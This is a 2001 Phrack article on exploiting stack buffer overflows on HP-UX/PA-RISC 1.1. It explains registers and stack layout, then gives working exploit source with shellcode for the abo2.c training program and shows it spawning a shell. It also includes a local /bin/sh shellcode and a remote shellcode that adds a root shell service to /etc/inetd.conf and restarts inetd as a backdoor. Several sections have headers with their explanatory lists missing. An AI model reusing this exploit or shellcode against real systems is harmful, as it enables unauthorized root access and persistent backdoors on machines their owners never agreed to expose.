Your Ad Here

==Phrack Inc.==

           Volume 0x0b, Issue 0x3a, Phile #0x0b of 0x0e

|=-----------------=[ HP-UX (PA-RISC 1.1) Overflows ]=-------------------=| |=-----------------------------------------------------------------------=| |=----------------=[ Zhodiac zhodiac@softhome.net ]=------------------=|

--[ Introduction.

Damn it, another buffer overflow document!! Well, this paper is not intended to explain buffer overflow exploitations, neither is intended to explain asm coding. This paper focuses mainly in three topics:

HP-UX/PA-RISC registers and stack organization, a solution for abo2.c (located at community.core-sdi.org/~gera/InsecureProgramming/) and finally two shellcodes for this OS/arch.

It covers basic topics to start exploiting buffer overflows under HP-UX/PA-RISC 1.1. This paper is divided into the following sections:

  1. PA-RISC Introduction 1.1. RISC fundamentals 1.2. Registers 1.3. Leaf and non-leaf functions
  2. Stack organization
  3. Advance Buffer Overflow #2
  4. Extras 4.1. Local Shellcode 4.2. Remote Shellcode
  5. Resources
  6. Greetings

--[ 1. PA-RISC Introduction

--[ 1.1. RISC fundamentals

RISC (Reduced Instruction Set Computing) refers to procesors with a reduced instruction set, and with the ability to do the same tasks of a CISC processor (Complex Instruction Set Computing).

RISC processors have some common caracteristics:

Deep in PA-RISC arch we have some more defined caracteristics:

--[ 1.2. Registers

On PA-RISC 1.1 there are four types of registers:

Lets explain some uses of the general registers

Some final notes:

--[ 1.3. Leaf and non-leaf functions

There are mainly two classes of functions under HP-UX (similar as SPARC):

Here is an example on code and its gdb disass dump of a leaf function.

HP9000:~/overflows/leaf$ cat leaf.c

int leaf(char *buff) { int a=0; a=1; }

int main(int argc, char **argv) { leaf(argv[1]); }

HP9000:~/overflows/leaf$

You can see in the gdb disass dump it never saves %rp in stack.

(gdb) disass leaf Dump of assembler code for function foo: 0x3280 : copy r3,r1 0x3284 : copy sp,r3 0x3288 : stw,ma r1,40(sr0,sp) 0x328c : stw r26,-24(sr0,r3) 0x3290 : stw r0,8(sr0,r3) 0x3294 : ldi 1,r19 0x3298 : stw r19,8(sr0,r3) 0x329c : ldo 40(r3),sp 0x32a0 : ldw,mb -40(sr0,sp),r3 0x32a4 : bv,n r0(rp) End of assembler dump. (gdb)

Here is an example on code and its gdb disass dump of a leaf funtion.

HP9000:~/overflows/non-leaf$ cat non-leaf.c

int non_leaf(char *buff) { int a=0; a=1; sleep(1); }

int main(int argc, char **argv) { non_leaf(argv[1]); }

HP9000:~/overflows/non-leaf$

You can see in the gdb disass dump it saves %rp in stack at "stw rp,-14(sr0,sp)".

(gdb) disass non_leaf Dump of assembler code for function foo: 0x32b0 : stw rp,-14(sr0,sp) 0x32b4 : copy r3,r1 0x32b8 : copy sp,r3 0x32bc : stw,ma r1,80(sr0,sp) 0x32c0 : stw r26,-24(sr0,r3) 0x32c4 : stw r0,8(sr0,r3) 0x32c8 : ldi 1,r19 0x32cc : stw r19,8(sr0,r3) 0x32d0 : ldi 1,r26 0x32d4 : b,l 0x3298 ,rp 0x32d8 : nop 0x32dc : ldw -14(sr0,r3),rp 0x32e0 : ldo 40(r3),sp 0x32e4 : ldw,mb -40(sr0,sp),r3 0x32e8 : bv,n r0(rp) 0x32ec : break 0,0 End of assembler dump. (gdb)

--[ 2. Stack organization

The following stack organization is brought up under PA-RISC 1.1 on a HP-UX B10.20 and using the gcc compiler (though i will explain some few thing of native cc). I have not seen any documentation about this stuff, so it was based on gdb and my deduction ability.

PA-RISC does not have instructions like "save", "restore" to save the registers values in a function prelude as SPARC does. all this stuff is implemented via software and changes between compilers.

We will focus on non-leaf functions that are the ones that get involved on buffer overflows. All "non-leaf" functions implements a prelude and a final of a funtion, for example in main():

    0x3380 <main>:          stw rp,-14(sr0,sp)
    0x3384 <main+4>:        copy r3,r1
    0x3388 <main+8>:        copy sp,r3
    0x338c <main+12>:       stw,ma r1,40(sr0,sp)
    0x3390 <main+16>:       stw r26,-24(sr0,r3)
    0x3394 <main+20>:       stw r25,-28(sr0,r3)

    ...

    0x33e0 <main+96>:       ldw -14(sr0,r3),rp
    0x33e4 <main+100>:      ldo 40(r3),sp
    0x33e8 <main+104>:      ldw,mb -40(sr0,sp),r3
    0x33ec <main+108>:      bv,n r0(rp)


    We are going to see step by step what is going on:

--[ 3. Advanced Buffer Overflow #2

In the following web page:

http://community.core-sdi.com/~gera/InsecureProgramming/

there are some programs vulnerable to many types of bugs such as buffer overflow, heap overflow, format string bugs, ...

We will focus in the Advance Buffer Overflow #2 (abo2.c) which gave many people headaches.

HP9000:~/overflows/sample$ cat abo2.c /* abo2.c * * specially crafted to feed your brain by gera@core-sdi.com */

/* This is a tricky example to make you think * * and give you some help on the next one */

int main(int argv,char **argc) { char buf[256];

strcpy(buf,argc[1]);
exit(1);
}

HP9000:~/overflows/sample$

Many people say that "its exploitation is not possible". I go further saying "its exploitation is not possible in x86 architectures", but in others like PA-RISC it can be exploitable.

In x86 platforms, by supplying a buffer long enough, you will overwrite the return address of main(), but due to the uneludable exit() we will never have the control of the flow of the vulnerable program. Better said: "I have not been able to have control of it ;P"

We have to find a way to control the flow of our program before exit() is executed. Under HP-UX10.20/PA-RISC, because stack (%r30 or %sp) grows from lower address to higher address (against some other architectures do such as Linux x86) and also due to the stack organization explained in this document, we will not overwrite the return address of main() but we will overwrite the return address of strcpy(). So once the buffer is copied, and once strcpy branches to its own %rp, it will go to our shellcode having control of the flow of the program before exit() is executed.

All this is due to strcpy(), is implemented, under HP-UX B.10.20 as a non-leaf funtion (it will store its own return pointer in stack). Fyodor Yarochkin told me that strcpy() under HP-UX 11.00 is implemented as a leaf funtion, so this particular overflow will not be exploitable on that version of HP-UX.

I am not saying strcpy()'s overflows are not posible to exploit under HP-UX 11.00. Take a look at this piece of code and find why it is still possible.

HP9000:~/overflows/hp11-strcpy$ cat hp11-strcpy.c
void foo(char *buff,char *dest) { strcpy(dest,buff); }

int main(int argc, char **argv) { char buffer[128];

foo(argv[1],buffer); } HP9000:~/overflows/hp11-strcpy$

Proof of concept:

HP9000:~/overflows/sample$ uname -a HP-UX HP9000 B.10.20 A 9000/712 2013496278 two-user license HP9000:~/overflows/abo2$ cat abo2.c /* abo2.c * * specially crafted to feed your brain by gera@core-sdi.com */

/* This is a tricky example to make you think * * and give you some help on the next one */

int main(int argv,char **argc) { char buf[256];

strcpy(buf,argc[1]);  
exit(1);
}

HP9000:~/overflows/abo2$

HP9000:~/overflows/abo2$ cat xploit.c /* * abo2.c xploit by Zhodiac zhodiac@softhome.net * * http://community.core-sdi.com/~gera/InsecureProgramming/
* * Xploited on HPUX * 9/9/2001 * * Madrid * */

include

//#define NOP 0x3902800b

define NOP 0x08630243

define BUFFSIZE 256+48+1

define NUMADDR 10

define OFFSET -80

char shellcode[] = "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe" "\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe" "/bin/sh\xff";

long get_sp(void) { asm("copy %sp,%ret0 \n"); }

int main(int argc, char *argv[]) { char buffer[BUFFSIZE]; char *ch_ptr; unsigned long addr,offset=OFFSET; int aux;

if (argc==2) offset=atoi(argv[1]);

addr=get_sp()+offset;

memset(buffer,0,sizeof(buffer)); ch_ptr=(char *)buffer;

for (aux=0; aux<(BUFFSIZE-strlen(shellcode)-NUMADDR*4)/4; aux++) { *(chptr++)=(NOP>>24)&255; *(chptr++)=(NOP>>16)&255; *(chptr++)=(NOP>>8)&255; *(chptr++)=NOP&255; }

memcpy(chptr,shellcode,strlen(shellcode)); chptr+=strlen(shellcode); for (aux=0; aux<NUMADDR; aux++) { *(ch_ptr++)=(addr>>24)&255; *(chptr++)=(addr>>16)&255;
*(ch
ptr++)=(addr>>8)&255; *(ch_ptr++)=addr&255; }

buffer[BUFFSIZE-1]='\0'; printf("Return Address %#x\n",addr); printf("Buffer Size: %i\n",strlen(buffer));

if (execl("./abo2","abo2",buffer,NULL)==-1) { printf("Error at execl()\n"); exit(-1); }

} HP9000:~/overflows/abo2$

HP9000:~/overflows/abo2$ gcc -o xploit xploit.c HP9000:~/overflows/abo2$ gcc -o abo2 abo2.c

HP9000:~/overflows/abo2$ ./xploit Return Address 0x7b03a5b0 Buffer Size: 304 $ uname -a HP-UX HP9000 B.10.20 A 9000/712 2013496278 two-user license $ exit HP9000:~/overflows/abo2$

--[ 4. Extras

Here are two shellcodes for HP-UX. First is a local one, it just executes a /bin/sh but notice its reduced size, only 47 bytes. Second one was, in its development time, the first remote shellcode I know about. It uses inetd to put a shell on a tcp port. There is a third shellcode which implements all syscalls socket(), bind(), dup2() but I lost it. Shit happens (Also fsck does also). :(

--[ 4.1. Local Shellcode

Nowadays there are some HP-UX shellcode (Fyodor's home some developed, lsd-pl some more), but in its development time the only one public was the one of K2 of ADM. This shellcode is a bit optimized, because it is 13 bytes lower in size.

/* * HP-UX 47 bytes shellcode * * By Zhodiac zhodiac@softhome.net * * Madrid, 13/05/2001 * */

char shellcode[]= "\xe8\x3f\x1f\xfd" /* bl salto,%r1 / "\x0b\x39\x02\x99" / salto: xor %r25,%r25,%r25 / "\x34\x02\x04\xc0" / ldi 0x260,%r2 / "\x08\x41\x04\x03" / sub %r1,%r2,%r3 / "\x60\x79\x05\x08" / stb %r25,0x284(%sr0,%r3) / "\xb4\x7a\x04\xfa" / addi 0x27D,%r3,%r26 / "\x0b\x18\x02\x98" / xor %r24,%r24,%r24 / "\x20\x20\x08\x01" / ldil L'0xC0000004,%r1 / "\xe4\x20\xe0\x08" / ble R'0xC0000004(%sr7,%r1) / "\x94\x56\x05\x36" / subi 0x29b,%r2,%r22 */ "/bin/sh";

--[ 4.2. Remote Shellcode

/* * HP-UX remote shellcode * * By Zhodiac zhodiac@softhome.net * * Madrid, 14/05/2001 * */

char shellcode[]= "\xe8\x3f\x1f\xfd" /* bl salto,%r1 / "\x0b\x39\x02\x99" / salto: xor %r25,%r25,%r25 / "\x34\x02\x04\xc0" / ldi 0x260,%r2 / "\x08\x41\x04\x03" / sub %r1,%r2,%r3 / "\x60\x79\x05\x78" / stb %r25,0x2BC(%sr0,%r3) / "\x60\x79\x05\x7e" / stb %r25,0x2BF(%sr0,%r3) / "\x68\x79\x05\x62" / stw %r25,0x2AE(%sr0,%r3) / "\xb4\x7a\x05\x6A" / addi 0x2B5,%r3,%r26 / "\x0f\x5a\x12\x81" / stw %r26,-16(%sr0,%r26) / "\x94\x44\x04\xd0" / subi 0x268,%r2,%r4 / "\x0b\x44\x06\x04" / add %r4,%r26,%r4 / "\x0f\x44\x12\x89" / stw %r4,-12(%sr0,%r26) / "\x94\x44\x04\xd6" / subi 0x26C,%r2,%r4 / "\x0b\x44\x06\x04" / add %r4,%r26,%r4 / "\x0f\x44\x12\x91" / stw %r4,-8(%sr0,%r26) / "\xb7\x59\x07\xe1" / addi -16,%r26,%r25 / "\x0b\x18\x02\x98" / xor %r24,%r24,%r24 / "\x20\x20\x08\x01" / ldil L'0xC0000004,%r1 / "\xe4\x20\xe0\x08" / ble R'0xC0000004(%sr7,%r1) / "\x94\x56\x05\x36" / subi 0x29b,%r2,%r22 */ "AAAA" "BBBB" "CCCC" "ZZZZ" "/bin/sh -c echo \"eklogin stream tcp nowait root /bin/sh sh -i\" >> " "/etc/inetd.conf ; /usr/sbin/inetd -c ; ";

--[ 5. References

For further information you may consult:

[1] Some PDFs i found at http://www.freelsd.net/~ndubee/ (Great collection :) and http://docs.hp.com/ * PA-RISC 1.1 Architecture and Instruction Set Reference Manual * PA-RISC Architecture and Instruction Set Reference Manual * http://www.devresource.hp.com/partner/rad.10.20.pdf * http://www.devresource.hp.com/partner/rad.11.0.32.pdf

[2] PA-RISC 2.0 Architecture Gerry Kane ISBN 0-13-182734-0

[3] Buffer overflow on non-intel platforms (BlackHat 2001 Asia) Fyodor Yarochkin. http://www.notlsd.net/bof/index.html

[4] lsd-pl HP-UX shellcodes (You people, are really good! Hope to talk to you in future!) http://lsd-pl.net

[5] You can mail me with any doubt you have :) Zhodiac zhodiac@softhome.net

--[ 6.- Greetings

 - [CrAsH], without her support this document would not exist. :***
 - DarkCode for long long time talking about SPARC and PA-RISC 
      archs :)
 - Fyodor Yarochkin for the few, but great, chats we had about 
      PA-RISC. For the review of this paper. Thx. 
 - El Nahual for having fun in real and net-life ;P I owe you a mail. 
 - 0xdeadcafe mail-list for great discussion topics.

Madrid 11/10/2001

|=[ EOF ]=---------------------------------------------------------------=|